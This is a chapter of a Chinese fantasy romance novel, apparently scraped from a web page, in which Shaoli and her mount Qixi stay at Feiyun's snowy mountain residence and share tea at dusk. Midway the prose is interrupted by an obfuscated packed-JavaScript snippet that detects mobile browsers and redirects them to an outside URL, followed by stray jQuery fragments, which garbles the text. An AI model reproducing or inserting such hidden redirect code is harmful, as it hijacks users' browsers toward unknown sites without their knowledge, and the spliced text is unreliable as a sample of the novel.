祁禧分明不想多说,而飞云也是留下了句似是而非的话便转身要带他们进府,如此,芍茘方才想知道原委的心便只能作罢。
从前恩怨,本来便与她无关。
灵溪山地大物博,所以灵溪山君的府邸比芍茘那处小院落不知要阔绰上好几倍,亭台楼阁,假山流水,还有飞鹤仙花,实在是让她开了眼。
“那处是什么地方?”
祁禧顺着她的视线看去,只见西南角的一处地方侍从进进出出,神色皆有些许匆忙。
飞云叹了口气道:“那是妖医研究前些日子突然出现的怪病之地。”
灵溪山从前并未出现过这种怪病,飞云为此找遍了山中妖医,可惜众人治了好些天,都没见多少起效。
“灵溪山如此多妖医,竟无一人知晓这风悬之症?”
芍茘有些奇怪,按理说不该如此。
风悬之症虽已经三百年未现世,可若是查找古籍,这么多妖医,怎么会查不到任何相关的线索?
“并无,我同山里妖医试过,皆无所获,多亏了山君说的霖幽草,这才解了我灵溪山的燃眉之急。”
芍茘闻言,心下奇怪,但也想不出为何,只能将那股不自在压下去,继续跟着飞云往前走。
飞云带着她和祁禧停在一处幽静的院落前,转头对她道。
“两位赶路了这么久,估计也累了,而且这灵溪山的风悬之症应该也不会那么快结束,你们先在此处住下吧。”
飞云说着,上前推开了院门,院子并不算大,只是院中开了满满一池的荷花,倒让芍茘有些惊讶。
灵溪山常年覆雪,这里更是严寒无比,不曾想,竟还有荷花开得如此茂盛。
“这荷花为何开得如此茂盛,难道是飞云你特意用了灵力维持?”
飞云闻言摇了摇头,笑道。
“非也,非也,你再仔细看上一看。”
芍茘走到池塘正中的小桥上,往下瞧,这才发现那荷叶底下都升着雾气,她方才以为这雾气是院子自有的,现在看来并非如此。
“这是温泉水?”
芍茘抬头,对上飞云的视线,有些不确定道。
“山君果然聪明,我这荷花池中正是灵溪山的温泉水。”
“难怪。”说罢,芍茘脱下了兜帽,伸手接了接眼前飘落的雪花,那雪一落入手心,便融化成水,冰凉的触感在掌心久久未散。“落雪中的荷花,竟然也这般美。”
芍茘感慨道,却忽视了身边两道不由自主落在她身上的眼神。
落雪荷花,哪里比得上眼前的人。
乌发及腰,雪落眉睫,唇如红樱,叫人瞧一眼,便不愿在挪开眼睛。
二人看她,皆如她看这落雪中荷。
飞云看得入神,突然视线中出现了另一道身影,将芍茘的身形都遮盖住了,他只能看到祁禧那张冷漠的脸。
“……”
飞云一瞬间心情非常复杂,但没待他说话,便听见身旁的人冷漠地开口。
“不是说带我们去休息吗?”祁禧话一出口,芍茘和飞云都看向他,祁禧面不改色,“我累了。”
“这样啊。”芍茘想了想,一路上祁禧都没休息,还一直给她用无忧火取暖,方才都没说话,想来确实累了,“那便麻烦飞云你先带我们去休息吧。”
飞云闻言,看了眼祁禧,一脸便秘的表情。
“怎么了?”
芍茘看他神色不太好,问道。
飞云哪里敢说什么,身旁的人脸色沉得让他丝毫不怀疑,如果他再不离开,估计会像几百年前一样被他暴打。
思及此,飞云鸡皮疙瘩掉了一地。
“没事,跨过这座桥,尽头便是你们的房间了。”
说罢,飞云便找了个给山民治病的理由匆匆离开。
芍茘看他神色焦急,也不好再留他,只是他这背影怎么像是遇到了什么可怕的东西?
她要是能听见飞云的心声,便能知道他现在心里疯狂吐槽。
这赤豹是天地所生的神兽,精力非常,不过是赶两天的路程,这点路程对他而言,微不足道。
他还喊累,到底是不是真的累,自己心里清楚!
祁禧并不知道飞云心里对他的诽谤,但就算知道了他也不会在意。
“你住我左边那间房吧。”
芍茘指了指她前面不远处的房间,扭头对他道。
“嗯。”
祁禧朝她点了点头,但却没有要进去的动作。
“怎么了?你不是累了吗?”
芍茘看向他,他面色不改。
“是有点,但我想你陪我坐一下。”
芍茘刚要拒绝,下一秒他像是猜到了她的心思,又抛出一句。
“坐骑与结契之人待在一处,更容易恢复精力。”
是这样吗?芍茘之前从未有过坐骑,所以不知道。
“你若是不方便,我自己也可以的……”
祁禧说完,留下芍茘在原地,自己进了房间,看样子,真是疲惫至极。
芍茘瞧着,心里莫名不是滋味,赶忙追了上去。
似乎是笃定了她会来,祁禧并没有彻底合上房门,留了条缝,芍茘轻轻一推,那门便开了。
房内静悄悄的,祁禧听力很好,一听到门口处的声响,便转过身,刚好跟进来的人对视上。
少女合上门,走到他身前。
祁禧已经换下了御寒的衣服,除去了兜帽,连同那满身的风雪都一并被留在了窗外。
“我看你门没关,想帮你关门来着。”
芍茘说着,在他的注视下把身后的木门关上。
祁禧笑了笑,没有揭穿她。
室内一下子静了下来,只有祁禧身上的兰草香格外明显。
“怎么了?”
祁禧看她神色微变,便出口问道。
“我早就想问了,阿禧身上是用了什么香吗?”
芍茘摸了摸鼻子,确认自己应该是没问错香味的来源。
“哦,那可能是我时常用兰草,所以身上沾染了。”
“你不喜欢?不喜欢的话我下次便不用了。”
说罢,祁禧低头拢了拢衣袖,那股兰草香更浓了,但芍茘并不厌恶这种味道,反而很喜欢。
“没有。”
芍茘看向他,他换了身青色的衣服,气质没有像方才雪中那样冷,整个人都柔和了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281303|182513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
而那兰草香清雅好闻,倒像他这个人不说话时的样子。
芍茘摇了摇头,跟着他坐到窗边。
二人一同坐在窗前,支窗的木撑没有拿下,芍茘能清楚地看到窗外的雪还在不停地下,落在那屋檐上,落在荷花池中,将外面染得雪白一片。
万籁俱寂,屋内的二人也相对无言。
芍茘并没有忘记她来此的目的,想了想还是开口道。
“要怎么做,你的精力能恢复得更快?”
芍茘看向他,祁禧正在倒茶,温热的茶水倒入盏中,带起一片氤氲,模糊了他的神情。
“只是我们坐在一起,便可以了吗?”
祁禧闻言递给她一杯热茶,缓声道。
他的声音很好听,低沉又不厚重,缓声说话的时候很容易就能让人安心。
“当然,只要你陪我坐一会,就可以了。”
祁禧看向眼前人,少女捧着茶,眼里对他的关心并没有遮掩,十分坦荡。
只是那双眼睛越是坦坦荡荡,便越是让他琢磨不定。
这恢复精力的说法,祁禧骗了她,却又没骗她。
骗她不过是想同她多待一会,哪怕一会都行。
他还想奢求更多,奢求她的笑,奢求她的目光能再次为她停留。
他一时间觉得自己像个饕餮,胃口永远得不到满足,她满足了他这次,他明明应该适可而止,但他没有,他又奢求下次,下次,还有下下次。
只是不知道她是真不知,还是假不知。
芍茘是真不知道,她觉得祁禧这样说了,肯定有他的道理,而且只是陪他坐一会,也不是什么过分的要求,答应便答应了。
故而二人相对无言,外面的天色黑了下来,将祁禧整个人都藏在了阴影里。
“天黑了。”
芍茘前面的茶已经凉透,她看了眼窗外,雪不知何时已经停了,连同那荷花也瞧不见了。
她话音刚落,周遭的烛火都被他用无忧火点起,顿时亮光满屋。
她垂下眼眸,手指不自觉地摩挲着掌中的茶杯,不知道在想什么。
“我听闻灵溪山的长夕节很是热闹。”
祁禧看着她,少女眼眸低垂,和他梦中的模样一般无二。
烛光打在他的脸上,将他的眉眼都映得温柔。
芍茘闻言,这才模模糊糊地想起,灵溪山确实有这个节日,只不过她从未见过,只是听闻这是灵溪山脚的人类过的节。
具体是什么节,她便不知道了。
算算日子,差不多也要到了。
“你想去的话,等风悬之症过了,我陪你去一趟。”
芍茘三百年来从未出过秀英山,如今有了机会,去见识见识也没什么不好。
“好。”
祁禧本来只是试探性地说上一说,没曾想她居然立马就决定了下来。
“既然如此,那便说好了。”
芍茘站起身来,一语定音。
“天色也不早了,我也回去休息了。”
祁禧点了点头,起身送她。
外面的雪下得厚,芍茘开门的时候,那雪从树梢上落了下来,动静不大,却吓了她一跳。